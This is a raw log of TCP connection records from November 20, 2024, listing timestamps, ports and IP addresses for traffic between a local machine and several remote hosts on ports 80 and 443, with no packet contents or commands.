Nov 20, 2024 21:05:43.711563110 CET	49798	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:05:43.711697102 CET	49798	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:05:43.711729050 CET	443	49798	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:43.763187885 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:43.849076033 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:43.881232977 CET	49823	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:43.881339073 CET	443	49823	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:43.881432056 CET	49823	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:43.881510973 CET	49824	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:43.881547928 CET	443	49824	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:43.881709099 CET	49823	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:43.881724119 CET	49824	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:43.881747961 CET	443	49823	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:43.882042885 CET	49824	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:43.882056952 CET	443	49824	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:43.888753891 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.215780020 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.215802908 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.215812922 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.215919971 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.215929985 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.215941906 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.215986013 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.215986013 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.216109991 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.216160059 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.216172934 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.216200113 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.216207981 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.216207981 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.216253042 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.216253042 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.222994089 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.224643946 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.224682093 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.224714041 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.225106001 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.226954937 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.227010965 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.227041960 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.233011961 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.233057022 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.235657930 CET	443	49804	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:44.237169981 CET	49804	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:44.237202883 CET	443	49804	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:44.237770081 CET	49804	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:44.237782955 CET	443	49804	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:44.239027977 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.239089012 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.239106894 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.248857021 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.249092102 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.249103069 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.254045010 CET	443	49805	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:44.254529953 CET	49805	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:44.254566908 CET	443	49805	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:44.254996061 CET	49805	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:44.255002022 CET	443	49805	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:44.261770964 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.261823893 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.261830091 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.269354105 CET	443	49806	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:44.269963980 CET	49806	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:44.269984961 CET	443	49806	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:44.270560026 CET	49806	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:44.270565033 CET	443	49806	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:44.276290894 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.276393890 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.276418924 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.288395882 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.288484097 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.288506985 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.339180946 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.339673042 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.350126982 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.350208998 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.350238085 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.350270987 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.350418091 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.357920885 CET	443	49808	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:44.358522892 CET	49808	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:44.358606100 CET	443	49808	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:44.358658075 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.359471083 CET	49808	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:44.359488010 CET	443	49808	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:44.386194944 CET	443	49807	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:44.387315035 CET	49807	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:44.387356043 CET	443	49807	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:44.387833118 CET	49807	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:44.387840986 CET	443	49807	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:44.388849974 CET	443	49821	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:44.389041901 CET	49821	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:44.389058113 CET	443	49821	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:44.389396906 CET	443	49821	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:44.389728069 CET	49821	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:44.389801025 CET	443	49821	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:44.389895916 CET	49821	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:44.407941103 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.408047915 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.408052921 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.408237934 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.412024975 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.412077904 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.412091017 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.412128925 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.418205023 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.418271065 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.418294907 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.420053959 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.420156002 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.420181036 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.420334101 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.426711082 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.426769018 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.426780939 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.428158045 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.428179979 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.428183079 CET	443	49822	172.64.41.3	192.168.2.7
Nov 20, 2024 21:05:44.428250074 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.428395987 CET	49822	443	192.168.2.7	172.64.41.3
Nov 20, 2024 21:05:44.428421974 CET	443	49822	172.64.41.3	192.168.2.7
Nov 20, 2024 21:05:44.428735018 CET	443	49822	172.64.41.3	192.168.2.7
Nov 20, 2024 21:05:44.429009914 CET	49822	443	192.168.2.7	172.64.41.3
Nov 20, 2024 21:05:44.429071903 CET	443	49822	172.64.41.3	192.168.2.7
Nov 20, 2024 21:05:44.429141998 CET	49822	443	192.168.2.7	172.64.41.3
Nov 20, 2024 21:05:44.434914112 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.435004950 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.435034037 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.435332060 CET	443	49821	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:44.436392069 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.436448097 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.436463118 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.436641932 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.444437981 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.444524050 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.444535971 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.444590092 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.447436094 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.447520971 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.447535038 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.452630043 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.452678919 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.452732086 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.452764034 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.460755110 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.460838079 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.460841894 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.460892916 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.461004019 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.461067915 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.461095095 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.468862057 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.468933105 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.468990088 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.469113111 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.473503113 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.473592043 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.473607063 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.475342989 CET	443	49822	172.64.41.3	192.168.2.7
Nov 20, 2024 21:05:44.477161884 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.477175951 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.477248907 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.485141039 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.485255003 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.485261917 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.485344887 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.486946106 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.487040043 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.487050056 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.493227959 CET	443	49817	18.165.220.66	192.168.2.7
Nov 20, 2024 21:05:44.493303061 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.493336916 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.493359089 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.493376970 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.493448973 CET	49817	443	192.168.2.7	18.165.220.66
Nov 20, 2024 21:05:44.493469000 CET	443	49817	18.165.220.66	192.168.2.7
Nov 20, 2024 21:05:44.494368076 CET	443	49817	18.165.220.66	192.168.2.7
Nov 20, 2024 21:05:44.494421005 CET	49817	443	192.168.2.7	18.165.220.66
Nov 20, 2024 21:05:44.495526075 CET	49817	443	192.168.2.7	18.165.220.66
Nov 20, 2024 21:05:44.495590925 CET	443	49817	18.165.220.66	192.168.2.7
Nov 20, 2024 21:05:44.500694990 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.500763893 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.500772953 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.514329910 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.514405966 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.514420033 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.520294905 CET	443	49798	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:44.520412922 CET	443	49798	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:44.520490885 CET	49798	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:05:44.520749092 CET	49798	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:05:44.520749092 CET	49798	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:05:44.520762920 CET	443	49798	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:44.520771980 CET	443	49798	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:44.526834965 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.526957035 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.526972055 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.538642883 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.538775921 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.538788080 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.550493956 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.550554037 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.550570965 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.556740999 CET	49817	443	192.168.2.7	18.165.220.66
Nov 20, 2024 21:05:44.556749105 CET	443	49817	18.165.220.66	192.168.2.7
Nov 20, 2024 21:05:44.562325954 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.562392950 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.562403917 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.574222088 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.574284077 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.574292898 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.599121094 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.599184036 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.599195004 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.599843025 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.599912882 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.599915981 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.600003958 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.601475000 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.601532936 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.601561069 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.602257013 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.602360010 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.602418900 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.607076883 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.607131004 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.607141018 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.607332945 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.609544039 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.609612942 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.609622955 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.611942053 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.612025976 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.612041950 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.612114906 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.616755009 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.616800070 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.616811037 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.617048979 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.617518902 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.617585897 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.617605925 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.623769999 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.623856068 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.624378920 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.624453068 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.625694036 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.625756025 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.625775099 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.626435995 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.626545906 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.626806974 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.626883984 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.631243944 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.631299019 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.631359100 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.631649017 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.633142948 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.633210897 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.633224010 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.636028051 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.636135101 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.636137962 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.636177063 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.640675068 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.640737057 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.640739918 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.640744925 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.640801907 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.640803099 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.641480923 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.645442963 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.645551920 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.645570040 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.645617962 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.649914980 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.649972916 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.650002003 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.650754929 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.650769949 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.650836945 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.655284882 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.655416965 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.655424118 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.655519009 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.656055927 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.656111002 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.656126976 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.660046101 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.660058975 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.660115957 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.660137892 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.663676023 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.663821936 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.663858891 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.664454937 CET	49825	443	192.168.2.7	172.64.41.3
Nov 20, 2024 21:05:44.664493084 CET	443	49825	172.64.41.3	192.168.2.7
Nov 20, 2024 21:05:44.664581060 CET	49825	443	192.168.2.7	172.64.41.3
Nov 20, 2024 21:05:44.664761066 CET	49826	443	192.168.2.7	172.64.41.3
Nov 20, 2024 21:05:44.664803028 CET	443	49826	172.64.41.3	192.168.2.7
Nov 20, 2024 21:05:44.664851904 CET	49826	443	192.168.2.7	172.64.41.3
Nov 20, 2024 21:05:44.664899111 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.664912939 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.664944887 CET	49825	443	192.168.2.7	172.64.41.3
Nov 20, 2024 21:05:44.664944887 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.664957047 CET	443	49825	172.64.41.3	192.168.2.7
Nov 20, 2024 21:05:44.665002108 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.665705919 CET	49826	443	192.168.2.7	172.64.41.3
Nov 20, 2024 21:05:44.665719986 CET	443	49826	172.64.41.3	192.168.2.7
Nov 20, 2024 21:05:44.669351101 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.669400930 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.669455051 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.671757936 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.671833992 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.671863079 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.674246073 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.674376965 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.674417019 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.674417019 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.678571939 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.678662062 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.678698063 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.679017067 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.683594942 CET	443	49804	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:44.683607101 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.683676004 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:44.683686018 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.683693886 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:44.683697939 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:44.683726072 CET	443	49804	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:44.683739901 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.683784008 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:44.683796883 CET	49804	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:44.684380054 CET	49804	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:44.684406996 CET	443	49804	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:44.684423923 CET	49804	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:44.684432030 CET	443	49804	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:44.688119888 CET	49827	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:44.688155890 CET	443	49827	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:44.688221931 CET	49827	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:44.688337088 CET	80	49780	185.215.113.206	192.168.2.7
